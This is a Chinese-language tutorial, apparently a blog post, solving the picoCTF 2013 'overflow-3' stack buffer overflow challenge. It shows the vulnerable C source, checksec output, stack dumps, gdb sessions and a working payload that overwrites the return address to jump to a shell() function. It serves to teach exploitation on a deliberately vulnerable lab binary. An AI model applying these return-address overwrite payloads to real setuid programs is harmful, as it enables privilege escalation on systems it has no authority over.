pico-ctf-2013 overflow-3

栈溢出入门教程三

overflow3.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run this function.
 */
void shell(void) {
    execl("/bin/sh", "sh", NULL);
}

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow [str]\n");
        return 1;
    }
    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    printf("shell function = %p\n", shell);
    vuln(argv[1]);
    return 0;
}

checksec的结果:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

几乎没有什么保护,脆弱的程序啊.
思路:由上面的c代码可见,如果我们能够执行shell函数,我们就能拿到shell.但是没有条件跳转过去.但是我们有溢出这个漏洞可以利用,劫持eip,使其跳转到shell函数.
1.找出返回值地址.

./overflow3 $(python -c "print 'A'*64+'B'*4")
shell function = 0x80485f8
Stack dump:
0xffffced0: 0xffffd196 (first argument)
0xffffcecc: 0x080486bc (saved eip)
0xffffcec8: 0xffffcef8 (saved ebp)
0xffffcec4: 0xf7ffd900
0xffffcec0: 0x42424242
0xffffcebc: 0x41414141
0xffffceb8: 0x41414141
0xffffceb4: 0x41414141
0xffffceb0: 0x41414141
0xffffceac: 0x41414141
0xffffcea8: 0x41414141
0xffffcea4: 0x41414141
0xffffcea0: 0x41414141
0xffffce9c: 0x41414141
0xffffce98: 0x41414141
0xffffce94: 0x41414141
0xffffce90: 0x41414141
0xffffce8c: 0x41414141
0xffffce88: 0x41414141
0xffffce84: 0x41414141
0xffffce80: 0x41414141 (beginning of buffer)

上面结果给出了:eip的地址是0xffffcecc,与beginning of buffer(0xffffce80)相差76,接下来需要获取shell函数的地址.

objdump -d overflow3|grep ">:"
0804837c <_init>:
080483b0 <setresuid@plt-0x10>:
080483c0 <setresuid@plt>:
080483d0 <printf@plt>:
080483e0 <geteuid@plt>:
080483f0 <strcpy@plt>:
08048400 <puts@plt>:
08048410 <__gmon_start__@plt>:
08048420 <__libc_start_main@plt>:
08048430 <putchar@plt>:
08048440 <execl@plt>:
08048450 <_start>:
08048480 <__do_global_dtors_aux>:
080484e0 <frame_dummy>:
08048504 <dump_stack>:
080485f8 <shell>:
0804861c <vuln>:
08048650 <main>:
080486d0 <__libc_csu_init>:
08048740 <__libc_csu_fini>:
08048742 <__i686.get_pc_thunk.bx>:
08048750 <__do_global_ctors_aux>:
0804877c <_fini>:

shell地址:0x080485f8.于是构造下面payload:./overflow3 $(python -c “print ‘A’*76+’\xf8\x85\x04\x08’”).
结果图:
方法二:对于这类需要劫持控制流,上面这种属于特殊情况.因为它执行了了dump_stack函数,将相关的堆栈信息输出了.对于那些没有将栈信息输出的程序,我们可以通过gdb调试来计算出返回值地址和buffer start之间的距离,然后再覆盖其返回值地址,劫持控制流.

gdb --args ./overflow3 $(python -c "print 'A'*64+'B'*4")

vuln函数汇编代码:

0x0804861c <+0>:    push   ebp
0x0804861d <+1>:    mov    ebp,esp
0x0804861f <+3>:    sub    esp,0x58
0x08048622 <+6>:    mov    eax,DWORD PTR [ebp+0x8]
0x08048625 <+9>:    mov    DWORD PTR [esp+0x4],eax
0x08048629 <+13>:   lea    eax,[ebp-0x48]
0x0804862c <+16>:   mov    DWORD PTR [esp],eax
0x0804862f <+19>:   call   0x80483f0 <strcpy@plt>
0x08048634 <+24>:   lea    eax,[ebp+0x8]
0x08048637 <+27>:   mov    DWORD PTR [esp+0x8],eax
0x0804863b <+31>:   mov    DWORD PTR [esp+0x4],0x15
0x08048643 <+39>:   lea    eax,[ebp-0x48]
0x08048646 <+42>:   mov    DWORD PTR [esp],eax
0x08048649 <+45>:   call   0x8048504 <dump_stack>
0x0804864e <+50>:   leave  
0x0804864f <+51>:   ret  

我们在0x0804861d和0x0804864e分别下断点.

b * 0x0804861d
b * 0x0804864e
0x0804861d处的栈空间内容:
gdb-peda$ x/32x $esp-0x50
0xffffce18: 0x000000e0  0x00000000  0xf7ffd000  0x0804827c
0xffffce28: 0x34303840  0x38663538  0xffffce98  0xf7e05798
0xffffce38: 0xf7e40bcb  0x00000000  0xf7faf000  0xf7faf000
0xffffce48: 0xffffce98  0xf7e48046  0xf7fafd60  0x08048839
0xffffce58: 0xffffce78  0xf7e48020  0x08048839  0xf7ffd918
0xffffce68: 0xffffce98  0x080486bc  0xffffd165  0x080485f8
0xffffce78: 0x000003e8  0xf7e2d9eb  0xf7faf3dc  0x0804823c
0xffffce88: 0x080486d9  0x000003e8  0xf7faf000  0xf7faf000

断点:0x0804864e的栈信息

gdb-peda$ x/30x 0xffffce70-0x50
0xffffce20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce40: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce50: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce60: 0x42424242  0xf7ffd900  0xffffce98  0x080486bc
0xffffce70: 0xffffd165  0x080485f8  0x000003e8  0xf7e2d9eb

由于vuln函数的返回地址是0x080486bc,由此我们可以计算出返回地址距buffer start的距离.

0xffffce6c-0xffffce20=0x4c=76

运行:

./overflow $(python -c "A"*76+'\xf8\x85\x04\x08')

获得一个新的shell.
其实本题我们也可以通过shellcode,来获取一个新的shell.
这个方法在下面的文章你会看到的.
注:由于操作系统的原因,函数的地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值